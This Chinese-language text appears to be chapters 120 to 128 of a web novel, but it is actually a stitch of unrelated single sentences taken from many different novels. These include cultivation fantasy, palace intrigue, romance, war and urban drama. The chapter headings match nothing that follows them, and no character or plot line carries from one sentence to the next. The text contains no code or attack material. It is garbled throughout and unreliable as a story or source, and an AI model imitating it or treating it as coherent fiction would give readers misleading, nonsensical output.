“现在当务之急,是将包头那边的钢铁厂扩建起来,否则一旦鞍山失陷,包头那边的钢铁要全部供应给兵工厂,对于东北的工业将是十分沉重的打击。”王永江脸sè凝重地道。
达蒙以手臂招架,却被打的整条手臂一麻……占了上风的弗兰克哪里会轻易罢手,给对方喘口气的机会?
许楠以前见叶重一直是波澜不惊,此时一副惊讶的样子也是十分罕见,不由多打量了几眼。
飒长松一口气,终于不再纠结。眼前这张脸虽然比印象中的冕下看起来更加完美一些,不过那棱角分明的线条却不会让任何人再把这张脸的xing别看错。
“梭梭~”几声,盔甲鸟根本不用移动什么,单凭着自己那双着耀眼白光的翅膀犹如切菜一般,一一将飚射过来的种子砍成碎片,然后居然也学上蘑蘑菇的方式借机进行反击。
不一会,成宥利就打电话过来,已经抵达了楼下停车场,李孝利和木子秋接了电话后,立即赶到停车场和成宥利回合了。
赵越点了点头:“恩,时间不早了!咱们有缘再见!”说完就不见了。
在车子冲到钢钉拦截板前面的那一瞬间,陈韶华猛地一睬刹车,与此同时手上也没停顿,方向盘瞬间打满,随着刺耳的尖啸声,车子在刹住的那一刹那,横甩了过来,车轮将钢钉拦截板扫到了一边。
第一卷 第120章 发怒
慕容泽拱手道:“儿臣遵命。”
南疏离开的时候,系统语气严肃的开了口,好像很难得听见系统这么正经的时刻。
烤肉烧好了,沙林从火腿上切下一块肉来到捆绑安利丽娜的树附近,自己吃了起来。
随后惊喜接连不断,在两个月后方凡就可以成功炼制7级丹药,这让他感觉不可思议,后来思考了一阵还是发现自己的境界和功法问题。
其他众人不管内心怎么想,也只能乖乖告退,留下王长老和李长老。
“你要吃就滚回你的流花园煮你自己园子里的花朵吃去!”高临枫怒气甩手而去。
晏姜暗暗夸赞这只信鸽通人性,同样是人与信鸽养在宁家中多年,有些人连一只信鸽也不如。
老佛爷不可能派不认识的人来,那就可以看得出你不是老佛爷派来的,来,让我猜猜你是谁派来的。
太子子长长的叹息了一口气,突然觉得,吹着这户外的风,分外凉爽,也不想再回到寝宫了,于是便自己张开双臂,躺在这草地上,一边闻着青草混合着泥土的芬芳,一边缓缓地闭上了双眼。
虽然首要怀疑的人是二皇子,可是思来想去,如果真的是二皇子,那他又何必这么兴师动众地非要让自己给他生个孩子以延续凤凰之谜的能量?
面色阴晴不定,刘范瞥了眼身旁的徐晃,接收到他的暗示,徐晃也默默捏紧了手中的大斧,二人此刻都是心提到了嗓子眼。
这个比例是比较吓人的,要知道他一场酒水专场直播起码要准备20款以上的酒水,如此一来,下一次酒水专场的时候,就会增加老干部白酒的供货量和宣传时间。
在回到了公司之后,他也就没有再继续磨蹭,而是开始处理公司遇到的一系列的问题。
一切处理妥当,之后她便去寻找剩下的净尘珠还有爹爹娘亲的下落。
当突围命令传达到各战舰时,舰长们明白,他们在与虫族的战争中已然失败,现在是时候保存有生力量,延续火种了。
虽然他懵懂稚嫩,可它并非是愚昧无知的,它也有自己的思想判断。
视频中制作这个剁椒鱼头的过程可不容易,特别是在泥塘里抓鱼的时候,可谓艰险万分。
秦墨没有想到秦父,因为不同意自己跟江姗颖结婚,竟然要毁掉了他们之间一辈子的幸福,一时间更是对秦父特别的失望。
既如此,那就做出一些“改变”,不要高高在上、不要摆出君王的威势,要做出符合嘉树期盼的样子,温柔、尊重、深情脉脉。
秦墨刚刚接听就特别的不耐烦,一脸不耐烦的开口说道,耳边传来了秦墨不耐烦的嗓音,秦墨不想应对江玉燕。
他和卡斯特通过这一路上收集的信息已经搞明白了安布雷拉的思路。不管政府和他们结盟的目的是什么,安布雷拉明显都打破了他们之间的协议。
事实也正是证明了这一点。炼药师和蓝绝根本就没上比赛台,炼药师就宣布退出这一轮争夺,保送蓝绝晋级。顺利进入循环赛。
第一卷 第121章 爱慕
天玄子见他默然,也不说话,只是把那几个黑衣人捉了过来,问道:“你们从何而来?为什么要进入这里来夺取秘法,到底是谁指使你们的?你们身后有什么组织?说。”那几个黑衣人闻言,俱是一声不响,冷冷地看着他。
可是面前是一头妖兽,若是我们六人没有镇兽阵法相助,估计也是束手无策,最后只能被这独角狂犀给追着跑。”林姓修士又淡淡地笑道。
“现在不是关心这个的时候,还是先将你的情况说一下吧,我们好帮你定制战术。”李牧对着陈静说道。
龟宝转头一瞧,却是一个熟悉的人,此人体格健硕弟子,却是一脸冰冷地盯着龟宝,将原来一脸憨厚的样子完全改变了,他便是在展重忠身边的王贵仁了。
而且,大宋朝南渡之后,国家财政已经到了破产边缘,基本发不出足额的俸禄。到临安的第一个月,他只得了一斗米半尺布和一只鞋子。
在沈夫人对着倒在地上犹如一滩烂泥一样蜷缩一旁的海棠落下话音之后,嘶声竭力的声音自打开的房内传来。
看到孔彦舟慢慢走过来,吕本中浑身上下的寒毛都竖了起来,感觉自己就好象是被一头饥饿的恶狼盯上了。
见沈夫人心上不安定,沈轻舞只拉住了她的手,随后安抚着她开口道,沈夫人自看了眼那里头尚发出着痛楚声音的屋子,只点了点头。
“那对制卡师岂不是很不公平!”李牧和陈静身为制卡师听到这个消息有些不忿。
杨毅向前两步,来到皇帝陛下面前,仍然是那一套,杨毅却做的一丝不苟,仪式进行的非常顺利,当接过皇帝地下手中的授带,旗帜和戒指,杨毅才算是松了一口气,老子终于踏入真正贵族的行列了,不枉费这些日子的辛苦。
中年人可不敢拿这个来开玩笑,只得全力的配合盘宇鸿将内部的人都给唤了出来,然后让他们都挨着空间边缘。
她倒是完全不担心花媚儿的安全,一个是因为她的身边有花残影这样的高手,虽然之前卿鸿与他交手的时候,他不过高级武宗的修为,不过卿鸿却总觉得,他的修为不只如此,尤其是进入恶魔谷中,她的这种感觉有为的强烈。
而原先想要投靠陛下,去找的那个名叫徐福的高人,赵高也搁置了。
“凭什么,我若是不叫你能把我怎样,呵,怎么想杀了我吗?”云溯雪尖声的叫喊着,她现在也顾不了这么多了,她只有一个想法,那就是她不要学狗叫,她不要。
柳黎本想去沙发上坐,但看清楚是肖涵后,停住脚步,转去了右手边的竹排上。
身体一阵剧痛之下,叶梵天和莫问情两者忍不忍不住的齐齐喷血,脸上更是带着无法言喻的震撼。
夜启呆呆地摸了摸嘴唇,莫大的幸福降临得太突然,他都有点不习惯了。
他难以相信,那些曾与他并肩作战,共同守护这片土地的骑士,竟会为了私利或恐惧,而选择背叛。
她前进着的脚步猛地一顿,随即一回身,玉手一挥,一股汹涌澎湃的劲风划破天空,那凌厉的攻势让宁静的天空产生一阵阵气爆之声,呼啸着袭向一心奔往队友身旁的花残影。
标准的两排战阵,虽然是冷兵器时代的战术,可是那寒光四射的大刀片挥舞起来,真叫人心中发寒。
但是经过日月学院和天源商会的抹黑,也已经改变了态度,此事萧凡的处境危险了。
突然,骷髅的脑海中涌入了很多东西。他感觉到断魔剑中的艾尔斯兰意识正在消失。在几分钟之后,骷髅的神色突然变得异常沉重而成熟。他已经完全接受了艾尔斯兰的意识,艾尔斯兰的意识也从断魔剑回到了骷髅的身体中。
短短不到两天的时间里,沈明辉手里的人竟折损了一半多,他急火攻心,竟被抬回了家。
第二天一早,娱乐新闻板块就铺满了关于K总裁和夏氏千金疑似新恋情的绯闻,配图正是头一天晚上两人一起在餐厅共进晚餐的照片。
“胡姐,今天你帮了我这么多,又是欠人情,如果这个还要你出的话,那就真的太不像话了,希望姐姐不要见怪”,张一凡不想欠别人太多,毕竟自己注定要离开这里。
李靖推开了宫殿大门,一眼望去,碧蓝的天空,高耸的山峦呈现在眼前,云雾缭绕。
临窗的位置,也正好能看到外面繁华的街道,属于再黄金不过的地段,何况还是一整层楼。
“你什么时候回来的?”乔暮奇怪的看着办公桌后忙于工作的傅司宸,明明昨天他还在和齐霜拍婚纱照来着。
只是,刚才的战斗如此的强烈,埋在碎石下人的人生还的几率实在是太低了。
湖泊的水质很澄澈,甚至能从岸边的道路上看清楚潜水岸边的鹅卵石。
萧靖无奈地摇了摇头,哂笑道:“告发我?你打算如何告发?请问你为什么一定要回收这些东西,人家的地契和你有什么关系,这事能解释么?
士兵们被安顿好之后,卡特琳娜带着亲卫去到了卡拉曼达村委会。
一是怕寒心,二是许仙也有些洋洋得意,如此这么多人的跟随,这是他想不到的事情。
说到这里,林易停顿了一下,刘猛喘着粗气,扛着雅安走了几公里了,就算是他也累得够呛。
“铠甲融化了……”波比赶紧把残破的铠甲扔在地上,铠甲背部被烧灼出了一个大洞,波比差点被融化的铁水烫到。
来人正是失踪多日的潘飞宇。与往日不同,今日的他看起来很是神采焕发:不仅穿上了一套华丽的衣装,还做了十分精致的装扮,生生从一个不修边幅也不太起眼的男人变成了翩翩佳公子。
第一卷 第122章 陈遇白
苍狼地属草原荒漠,醉骨香虽然能制成,可解药一直迟迟没有,只因缺了一味百忧解。
南大陆的确是以科技为主要发展方向的大陆,但在纳吉和艾莉卡两人占领唯一都市的时候,他们,却并没有带出多少部队。
“我不会释放这堕落与邪恶的力量,永远也不会让它玷污我的灵魂。你死了那条心吧,梅丽珊。别以为我不知道你的打算。”巴尔扎赫的语气斩钉截铁,同时抬起头用鹰一般的眼睛盯着对方。
凯尔本微微点头致意过后。也使用传送魔法返回了自己的法师塔。原本显得有点拥挤的房间瞬间变得空旷起来,亨利用不怀好意的目光在黑龙和棕龙之间扫来少去。把它们吓得心惊胆颤,连大气都不敢喘一口。
“杀!”围着王奇山的邪王界士兵发出了一声整齐的大喝,无数把闪亮地弯刀。毫不留情地朝着王奇山劈了过去。
你看,夏星晓等人的队伍,多么的整齐。除了被遣送出来,还能是什么?
剧烈的冲击不断的自他体表的至高法则上炸裂开来,强烈的冲击令他气血翻腾,嘴角变瞬间溢出金色的血液来。
说来也可笑,理子平时虽然一直都是那副笑嘻嘻的样子,但是和班里人的关系却并不是十分融洽,虽然所有人都把她当开心果来看,但是真正当做朋友的却没有几个,除了远山金次算一个外,便基本没有了。
甩了甩头,王陆讲这句烂话抛之脑后,开始振作精神,收拾旧山河,运转功法修复方才一场恶战造成的种种疮痍。
“商榷重开,准许我朝青盐涌入贵国,另外需要贵国赐币,以安我国百姓之心。”没有用贡币与纳币,而用了赐币,反正是岁币。
千年耕种,使得这里的土地养分已经严重,沙漠化倾向明显,所以李大皇帝这位受后世环境保护思想很重的人归来后就一直想搞水土保护。
茉莉花成功打击任务目标菜菜子唯的自尊心,菜菜子唯没有一款游戏能战胜茉莉花,以致于她决定和茉莉花约定明晚再战。
这名三十多岁的男子,是仙柳门的护道之人,守护仙柳门已经十余年了,修为已经达到蕴生大秘境第一重天,即便是在这仙柳门内也算是一位高手,可如今就这么被苏辛随随便便地斩杀,不得不让人唏嘘感叹。
现在,叶嫣然处于绝对的防守之中,尽管她的灵气所剩无几,依旧是能够坚持一刻钟的时间。
毕竟就算你拿出30000金币,也不可能释放出数个灭城级的超魔法。
他们两人好歹也是化神期的修士,自己儿子这还是在突破金丹期,身上的气息就能撼动他们?
红乐清大喝一声,身上肌肉竟又绷紧了一圈,一道道恐怖的青筋在她臂膀上蔓延,一看就知道力量运转到了极限。
如果,可以的话,他愿意请周双双寝室四人,一起去钱王广场吃饭,顺便还可以去KTV唱唱歌。
“欧阳施主,我知道你有很多疑惑。但还请离开这栋楼再问。”南怀仁轻声道。这一回他的声音不再那么威仪,让人生怕。
第一卷 第123章 程怀安
陈遇白一个医者,又没练过功夫,跟着锦书狂奔了一路,此刻还在喘着粗气。
“为什么?”西‘门’听雪一呆,原本准备着速战速决,先把婚事搞定了,然后别的都好说,正如胡栖雁所说,感情嘛,可以慢慢培养。
“说吧,你到底有什么目的。”路飞扬看准陈锋的心里,出言问道。
北斗额头上的青筋突突突的直冒出来,一口银牙被咬得咯咯响,冰冷的眼眸带着警告的寒光向旁边这个该死的妖精射了过去,努力的控制自己的情绪和气息。
“额!这难道不是死城??“路飞扬没有使用自己的能力,因为那样的话就不好玩了,自己的能力也就是在战斗的时候,在开启会比较好呢!所以现在的路飞扬,也是完全不知道,这究竟是什么情况呢。
“你你难道还想把我们整个恶魔族都灭掉吗?”恶魔族的族长,两只眼睛睁的大大的,满脸的不敢相信。
“苏菲,放心吧!我们一定会帮你找回神格的!”王彪拍着胸脯说道。
“七妹,过来,大哥给你介绍些人认识。”大皇子含笑的停在不远处,笑容温和无害。
“厉昊南,我以为,我们已经把话说清楚。现在,我们已经离婚了,我不会再回那个家了,以后,我们大家各走各的,这样不是很好吗?!”顾筱北面无表情的说着。
“许哲……”听着许哲的话,黛丽丝将脑袋紧紧靠在许哲的怀中。
看到这个等级之后的众人,基本都是一句话都说不出来了!一百五十级是一个什么样的概念?
若是能完成如此壮举,哪怕立时死了,老头也心甘情愿,没有怨言。
“屋子里什么都没有,没有血迹没有衣服碎片。”秀才公子再一次抢了他老爹的台词,员外差点没一口气憋死自己,他一甩袖子。
当然,除此之外,断剑剑身也好像加强了许多,锋利程度要比之前强出十倍有余。
君天子身上蓝色元力涌动而出,手上层层黑雷也寸寸结出,嗤嗤电声不断闪动,而手上折扇一拍一合,黑雷炸动,极为厉害。手上一抓,一片黑雷便直盖而下,嗤嗤闪电不断流转。
丹药入口即化,而薛轻云身体也微微颤抖着。过了一会,脸上多了几分血色。
他拧着眉头转过身,看到了来电显示,这是一个陌生号码打过来的。
他现在想的都是如何惩治那个欺负秋娘的混球,哪里有时间陪少年诉说思慕?但……罢了,早点打发他,然后再去找到底是哪个胆大包天的欺负了他的秋娘。
120将十人全部带回,警方也进一步进行调查,查现场没有监控,看热闹的人由于是夜间并没有看清楚对方的样子,一时间也不知道怎么办了。
韩义先看到跑回来的杜海峰说道:“你是海峰吧,姐夫给你们带了点儿东西过来,一会你拿进去。
霍熙城听了杜雨涵和韩义先的话非常心动,他们那里确实很长时间没有吃过肉了。这次的两头野猪可以让很多人都吃到肉、改善一下伙食。
第一卷 第124章 慕容雪
慕容雪落下不舍的眼泪,手死死地抓着程怀安的衣袖舍不得放开。
最后还是婢女将慕容雪强行拉开,陈怀安的马车才得以前行。
酒店门口,一辆低调的黑色宾利开了过来,门童、保安、一个大堂经理模样的人全都围了过来,一看就是个大人物。
“呵,何必如此委婉?”艾格隆挥了挥手,示意对方不妨有话直说。
涟贵妃低下头,不再说话,她看得出姜婴宁一定会有所行动,所以,她不能坐以待毙了。
而且非神性生物一开始只用融合一点神性,他预料只用拿出不超过五点神性赐下,剩下的二十四点留给自己用也足够了。
“没事,等我赚钱了,少不了姐姐的,你们的就存着吧,什么时候想出去浪漫二人世界了也不用想太多。”王玄宇说道,他不能亏了他姐的,他有自己的想法和一套计划的。
有了这样的对比以后,宋与墨觉得自己就好像是进入到了天堂一样,做饭这么折磨人的事情没有落到自己的身上,简直是太幸运了。
道路两旁本是极热闹的琴台楼馆,平日里处处都有店里的伙计拦着路过的车马招徕客人,今日却鲜见有人在外,甚至还有几家店面早早下了锁。
在林霄神海内,代表信徒的信仰之线一根根断裂,每断一根代表一个信徒死去,即代表一份最少真信徒,绝大部分是虔诚信徒的消逝,这对神祇来说是莫大的损失。
其实这正是因此,姜安安从一开始就觉得皇上不会喜欢涟水,可没想到一切都错了。
“你这突然直接就哭了,好像是在表明如果我不做点什么的话,都对不起你现在哭的眼泪。”宋与墨故作开玩笑的调节着现在尴尬的气氛说道。
别说是现在,已经成为丧家之犬,就算是以前,炼狱也不会过多的顾虑黑暗天使的态度。
夏建压低声音吼了一声。他真是一万个没有想到,这个李威会一直跟过来。看来他是一直躲在别墅区后面,等雷蕾的车开了出来,他才从后面跟了上来。
龙洛道:“好强的气息,正好取了你的内丹”,一听到取自己的内丹,黑熊顿时怒了,这可是犯了妖兽的大忌,这五人一看就是来自外面的,此时竟然狂言要自己的内丹,这让黑熊如何受得了。
所以,问心也要早点到达哪里,这样的话,不管是否会出现什么突发情况,还是问心他自己的打算,都能够及时的做出决定。
“你为什么要帮我们?”开心之余,最大的那个孩子又全是戒备。
罗奶奶毕竟年轻大了,罗峻还是有点不大放心。便让护士又弄了张休息床,把保姆阿丽又叫了起来,让她照顾夏建和罗奶奶。
回来时,秋禾路过沈家铺子,往里瞧了一眼,竟然瞧见玥珍在里面和沈家掌柜说话,昨日玥珍同她闹了一场,她心里震惊又无奈,当初选择了道义,如今再苦的果子她也得强咽下去。
就在段素隆吃惊愣神之际,高观音泰双掌又至,连封段素隆身上几处大穴。
要知道,这可是一个绝佳的机会,那怕是有着巨大的风险,也要一试。
第一卷 第125章 受伤
这时匆匆赶来的侍卫在慕容泽耳边悄悄耳语,慕容泽听后立刻转身拂袖而去!
谭诺萱感到满肚子委屈,她之前的确是没有考虑那么多,就是因为看不惯聂笑天那副嘴脸,所以才忍不住越位出口的。
云梦雪薄唇颤抖,全身血液似乎冰凉,身体也止不住才抖动!她不是因为害怕还是疼痛才哭,而是为心中那份情绪的悸动忍不住落泪。
一股熟悉的热流涌入身体之中,王峰的脸色也是变得红润起来,那股回荡的热流,使得他的心中一颤抖,一股氤氲起伏的波动从他的神上传播而出。
这一切,在吕静生和angelbaby丢掉组队赛的时候就已经注定了,所以许多人在网上提出质疑:既然都知道了魔王的德鲁伊是个大后期,为什么不缩短发展期,趁早就跟他开战?
杨祈中抓获的和俘获的西域军民可不再少数,大量人力都在植树造林和修路,而萧明也还想在河西地区再修一条路,这条路纵贯整个河西走廊,在甘州肃州等地可绕过崆峒山脉,直抵西夏的兴庆府。
罗浩辰一怔,他之前被情绪冲得脑子一片空白,就连去夜总会强要监控录像都带着一股子杀气,惹得人家不敢不给他。
王峰的言语之中的话语的关切,戾虎明白,有些明白王峰性格的他,也是知道,王峰的话语容不得他反驳,放下也是点头。
第一天的比赛结束了,连想、萧箫、东方无敌等人毫无悬念的进入了第二天的决赛。
这种感觉很奇妙,无论是肉身还是灵魂都处在一种最舒适的状态下,让他感觉就要羽化成仙了一样。冥冥之中的那层通往元王级的壁垒越来越薄,薄到只要轻轻碰一下就会立刻崩塌。
“我要见官家一面!”姜贵妃语气坚定,不等她再多一句,郑大官就点了点头,侧身让了让姜贵妃,引着她往官家寝宫进去。
魔渊认定能有如此逆天佛门功法的,绝对不是道修,是佛修,所以才骂他秃驴。
两人在大森林里面飞着,倒是看到不少的灵药,但是老者一直都没动手,除非确定百分之百安全,这才愿意出手采摘。
不过周瑜显然是吃不下去了。只是喝了几口汤,便无奈的笑了笑。
墨玉看着喜儿那一副狗腿的模样,忍不住一笑,走到桌边为李婉茹倒了一杯茶水。
歌瑶赶忙又放了一个“穿刺冰矛”,降低了巨鳌魔蝎的速度,这才保得辛巴翻滚着逃离了危险区。
耶律延禧还想着做南征第一人,闻言不由皱眉起来。过河的远拦子当然不算,否则中原早不知道有多少细作了。
“姚秀,欢迎光临我们这里,这是你要的资料”随着一个倩影就是带着几名手下缓步走入,但见一名身穿西服的中年男子就是缓步迎了上来,这个倩影,正是姚媚儿,此次来A市,就是奉命来对付林萧。
叶雄沉思着要不要帮帮她,想来想去还是算了,现在的他已经跟以前不同了。
“魏何他并没有展现他的真正实力,我想刚才那场比赛,估计还使不到他一半的力量”听到黎天明这话,林萧就是微微皱眉,随即想了想,就是开口道。
第一卷 第126章 劫持
那战车行进之时,所发出来的声声“隆隆”的声音,倒也并没有把它们给吓跑,看来,对于它们来说,已经习惯了这一种充满着硝烟和爆炸声的环境了。
可是即便如此,王振国还是可以感觉到自己这些手段在张道兴的眼中不算什么。可是偏偏自己多次跟张道兴谈及要学习一些术法的时候,张道兴是半点不曾传授,推脱是师门规矩。
但期货市场的资金出现了迁移现象,加上其他金融市场萎靡,突然间这里成为了最有可能爆发争端的地点。
“那还是真是没什么好说的了。”锦枫觉得像是在对牛弹琴一般,怎么说弋谦宁他都无动于衷,那也没必要继续留着了,当即转身便走了。
苏眉好些日子不曾见过除红儿以外的人了,连父亲也都早出晚归,怕是筱月这次闹得太过了,也不知朝堂之上又有什么风波。苏眉揉了揉眉心,想了想还是换了一身衣服,出门去了。
“无双,你终于会是我的。”大堂内龙羽泽伸手接过绸带走到季子璃身边。
自然而然的,他们的目标,是那一些跟随着装甲战车后面的那一些步兵。而至于那四辆装甲战车,只怕是,他们的那一种子弹式的攻击,是发挥不了多少的效果的。
烨华抓住这个空挡向后微微一退,毫不在乎的将身前的褶皱扯平,眸光慢慢投向床榻之上无比安静的皇后,深深吸了一口气,不算尖锐的指甲缓缓刺入皮肉。
拿着冰袋敷了好半响的乔森都没有说话,默不作声坐在那里,他在等自己的情绪慢慢消化掉。
楚笙的百折扇挡住了长剑的每一次攻击,然而在接下最后的一道攻击之后,他手中的百折扇传来了细微破裂开的声音,而后瞬间化为了粉末。
配合着永宁的表情,林安之反应也算迅速,装出一脸不耐,大声叫过了几个副将,又点了一半的兵,让他们陪着公主殿下去村子外头散步。就在他交待那些个副将的工夫,他不着痕迹地与永宁交换了个眼色。
好歹阮钰还是一方都尉,并没有被免职,看在这么多年的养育情上,别说红袖处事谨慎未必会被他发现睨端,即便她失手了,以他重义的个性,也未必就看了柳凤的笑话。
他思索的时候,却是有一个中年汉子向他走来,还带着几个年轻人。从他们身上,李白没感觉到敌意,不过他还是做出一副戒备的样子,冷冷的看向来人。
“兮兮,有件事我能不能找你帮个忙。”李白打破路途中沉静的气氛,谨慎的组织着语言,话说起来都是磕磕绊绊的。
被看的心里发毛,刘师傅人也冷静下来,余光偷偷打量着穆婉秋的神色。
东方羽看着楚天一动不动地站在原地,心中一喜,仿佛看到了楚天被长剑dòng穿的场景。
“拥有真龙命格的人,莫非皆是如此自负?”国师淡淡地摇摇头,笑道。
李俊秀的话音还没落地呢,许愿嘴里的水就已经喷了出来,喷了李俊秀的白色T恤一下子的水点子,而她……猛烈地咳着。
“炎龙?原来你们就是炎龙的人?”金鸿鹏闻言后脸色微微一变,忍不住诧声说道。
一瞬间,一种难以言喻的感觉蔓延上了米朵的心中,自己的心也不知道怎么的开始有种阵痛的感觉,就像是被人用着那锋利的刀子狠狠地扎在了心窝上一般。
但对杨冕来说拿到第一并不是一件太有挑战性的事,毕竟他能提前看透宝箱,可以有针对性,有选择性地挑选任务,可以尽可能挑选积分多并且可以同时完成的任务,这就已经比其余人强出太多了。
“主人请讲,我们一定答应。”廉艾一脸笑容,欢喜溢于言表,被关在塔里太久,有机会出去自然忍不住。
当断则断没有错,这是一个家族都会经历的事,也是一个家族在临难时必须要做的事。
十名机器人穿着统一的衣服,上身是白色体恤,下身是蓝色牛仔裤,看着是很普通的穿着,但有时候,越是普通的,反而越诱人性感。
距离超过400米就要开始考虑风力的影响了,就算是命中静止的目标都很难,更何况是高速移动的目标?
下午,办公室无人,他直接到了街上,找到了前几天反映养猪场污染水源问题的几个大爷,到了养猪场,远距离亲眼目睹了污水净化装置的安装,几个老太爷也很通情达理,抽了几支李元海的烟,就说说笑笑回到了街上。
原本荒芜破败的玉虚天宫,如今流淌着丝丝缕缕的造化生机,天宫外,长着无数奇花异果,一些消失许久的灵禽异兽,不知何时,开始在玉虚天宫定局。
第一卷 第127章 别离
“爸妈,我临时有些事先回北京了,你们陪二爷爷他们好好玩几天,过段时间再回来看你们。”韩魏抢先开口,说完便拉着刘佳佳离开,朝景区出口跑去。
我问胡万朝,他刚才说找到侯三了,是不是想说,他已经确定了转生老虎的身份。
不料话音未落,让声剧烈的爆响给打破,只见砂石巨兽的体内传出来滚滚磅礴的力量,力量不断的扩散,剧烈的朝着外面冲击,几番冲击之后,竟然直接将高达十米的砂石巨兽,生生撑爆,转眼间,巨兽化为漫天的尘沙。
可是,为何唐芸给她的这种感觉,却不像是唐芸对待她家爷的态度。
病房里有谢安泊在,还有谢常安和苏玟,看到进来的江凌薇,谢常安拉着苏玟离开病房,病房里只剩下了一家三口。
手里端着的盘子一晃,站着的人一手伸到盘子里,一句话没说,直接取了点心就走。
我进入房间之后,就感受到浓重的阴气,虽然阳光很足,但身上却总是发冷。因为王勇硕一直处在紧张的状态下,估计他的感受不会太明显。
虽然之前飞机轰炸出现了一定的伤亡,但133师的官兵并不气馁,反而越战越勇,击退了鬼子一轮又一轮的猛攻。山坡上横七竖八的布满了鬼子的尸体,有几百具之多。
顾念觉得之前两人躲在柜子里面的经历已经很尴尬了,加上刚才那位经理临走时意味深长的目光让她觉得此时是有一百张嘴都说不清。
“你是不是说过八部金身练成之后有八部天龙护身?”南风问道。
“莱尼莎,莱尼莎。”东子轻轻的叫了几下,莱尼莎那蓝色的眼珠便映入了他的眼睛里,大大的眼睛仿佛会说话一样,一眨一眨的,可爱至极。
在归墟帮龙鳌休整的三天之后,我也打定主意跟蔚池雪返回阳间了;毕竟我的愿望就是能跟蔚池雪永远在一起,走遍世界各地。
整个世界全部笼罩在白色的浓雾中,大街上目之所及的地方到处都是鲜红的血,仿佛整个世界突然下了一场血雨。
苏子阳收起那原本恨铁不成钢的表情对着苏怀说道“怀儿,你的习武之路来之不易,之后定要好好珍惜,早日超过你那不成器的兄长”。
陨铁神棍砸在了她的头上,顿时天灵破碎,齐天大圣的戾气将她一裹,毫无悬念又是第二棒,成汤一声惨叫就被打死,一道天命抽出被齐琪吞下,迅速化为了力量。
“……”粉黛沉默半晌,她的眼眸深处微微地荡漾了一下,像是再做挣扎,不过从一开始就没有挣扎的必要。
到了家,正好赶上饭点。由于父母下班的晚,做饭当然时间也晚,所以东子正好碰巧赶到了饭点上。
“回哪儿?你在这偌大的中国真的就没有什么亲人朋友么?”韩轲问道。
苏子阳斜看了这长须老者一眼没好气的说道“司徒老鬼你若是有意见的话不防和我打个赌,就赌你珍藏的那瓶千日醉”。
当然,人修的实力高出鬼修一个大境界,鬼修就很难偷袭到,甚至挥手间就将鬼修灭了。毕竟鬼修的实力只能靠偷袭才能成功。
“范明,你纵容自己的侄子在学院里惹是生非,还特意将强化剂私自给你侄子使用,你可知罪?”凝香看着不断流汗的范明,拿着麦克风大声质问道。
“咯咯咯咯!”黑衣仙子冷笑迭起,望着金羿那张方正刚毅的脸,心中不免有些着急,但细细想来,自己又何尝不是喜欢她这有些榆木疙瘩一般的率性。
“姑娘您请,随便用哪个房间!要什么东西,我都可以给您准备,要用多久都没有关系,我这就去给您找人来帮忙打下手!”炼丹馆的管事如变脸一般地冲着凤凌月前倨后恭,拿到银票之后,笑得只见眉毛不见眼睛了。
那大铜锅的旁边,一只羊身人面的巨兽蹲在一旁,它的眼睛乌溜溜地扫过众人,诡谲地大嘴嗡嗡而动。
洛水漪惊愕的看着满院子缀着大红花的红箱子,呆立半晌,走过去掀开看了看。
邹立自得宝上岸,与碧儿、玉儿晓行夜宿,一身便服,城主那里得知?谁个认识?何况邹立更不喜张扬。
南宫弑炎也蓦然怔了怔,随即转头看向了那个被重重包围的拳楼。只一眼就发现那个拳楼之中妖气冲天,约莫着里面已经足足有上百个邪魔。
想到他捧在手心的宝贝现在却被别人左右了情绪,他心里就很不爽,有种想要毁灭的欲望。
殷梦尘将手中的断剑一丢,疯了一般地朝着凤凌月冲过去,手中只拿着昨日使用的长鞭。
而这个时候,楼道里面那脚步声也很合时机地响了起来,和夜祭听到的差不多,都是那种好像有什么东西跟在你背后的感觉,但如果你回头看的话,你却会发现你背后什么都没有。
四十万混城币完全超出了龙炎参的价值,在场众人也是倒吸一口凉气,四十万混城币几乎算是倾尽一个普通家族所有的财力了。
第一卷 第128章 奸计
而现在没有任何关于炼尸续命的传闻,也就是说,尸仙门的炼尸术法并没有流传开来,可见,炼尸续命是无稽之谈。
刚刚来到琳琅界域,众人就已经发现,掌控者实在是太多太多了,而且还不是一般的掌控者,大部分都非常强大,都是各个势力中的“精英”强者。
比如昨天在界主府的对决中,他先后打败了石牛和剑魔,更是被钦点为初赛第一名。
“雄风大补汤是补什么的?你如果喝过就给我讲讲吧。”林落雨很好奇。
周兴叹了口气,微闭双眼,一个金色面板当即出现他的脑海,闪烁金光。
以自己所知的玄黄掌故传说,如玉雪灵参这等灵植充其量也就只能成为药灵或者花灵,当真想要成妖,起码需要几十万年的修炼。
这里荒无人烟,因为改道,这条道前面被截断,再没有车子经过,附近几公里之内,都没有住户,所以异常的清静。
连刘楚也不得不承认,这乾灵子倒是肯下血本,居然不惜耗费灵药对她们进行刺激,让她们的奇经八脉之中充满灵气。
“现在高兴的还太早了,他仅仅只是入围而已,还得经过最后的评审。最终是否能够获奖,并不确定。”赵大山客观的道。
墨毒帝尊脸色阴沉,甚至表情已经扭曲了起来。他对林峰恨之入骨,现在看到林峰只有一人,自然想报仇雪恨。
可惜的是,唐军早已做好了冲刺的准备,两拨人相差的也不远,只有五十步左右的距离,几乎一个冲刺间就到了面前。
只见一个大肚便便的胖老板从外面冲了进来,与其一块的,还有盛世王朝的大堂经理。
楚星寒正想回答却感受到来自怀里的震动,下意识的把传音简拿了出来,打开一看。
顿时早就已经准备好的各大家族和宗门势力,便身形一晃朝着各自负责的区域冲了过去。
入道境以上,那副金刚不坏的身体,却是让徐帆觉得无比的头疼,目前以徐帆的实力,最多将却其轰飞,打得口吐鲜血,却是不能对其造成致命的一击。
裴尽忠还是头一次,这么近距离的,打量这柄玄铁重剑,光这剑身,都比自己还要大了。
见状赤炼空口中一声低吼,下一刻,身形一闪直接出现在了月光所在的方向。
眼看着两匹马就要撞上,金春秋吓得哇哇大叫,眼泪鼻涕都下来了。
清亮如天语的声音在灰衣老者落脚瞬间就以天威般的气势轰然落下,几乎在刹那间便卷起一股烟色狂风,以无法抵挡的惊世之威把灰衣老者强行扫飞了出去。
楚月的学习成绩非常的好,这次考试的发挥也很理想。虽然,距离考试分数公布还有五天的时间,可是徐沐玲却觉得,只要楚月正常发挥,那么考上一所理想的大学几乎是十拿九稳的事情了。
“我们可以先把我家公子救出来,他说不定有办法。”贵福提议到。
守门的门卫,也是很多地方的别墅区都能见到的普普通通的存在。
原本包间里是有专人服务的,只是江辞云先前上完菜就把人都撵走了。
“糟糕。”正在隐身之中的林枫看到这种情景,顿时色变,连忙解除隐身,就地一个打滚躲避。
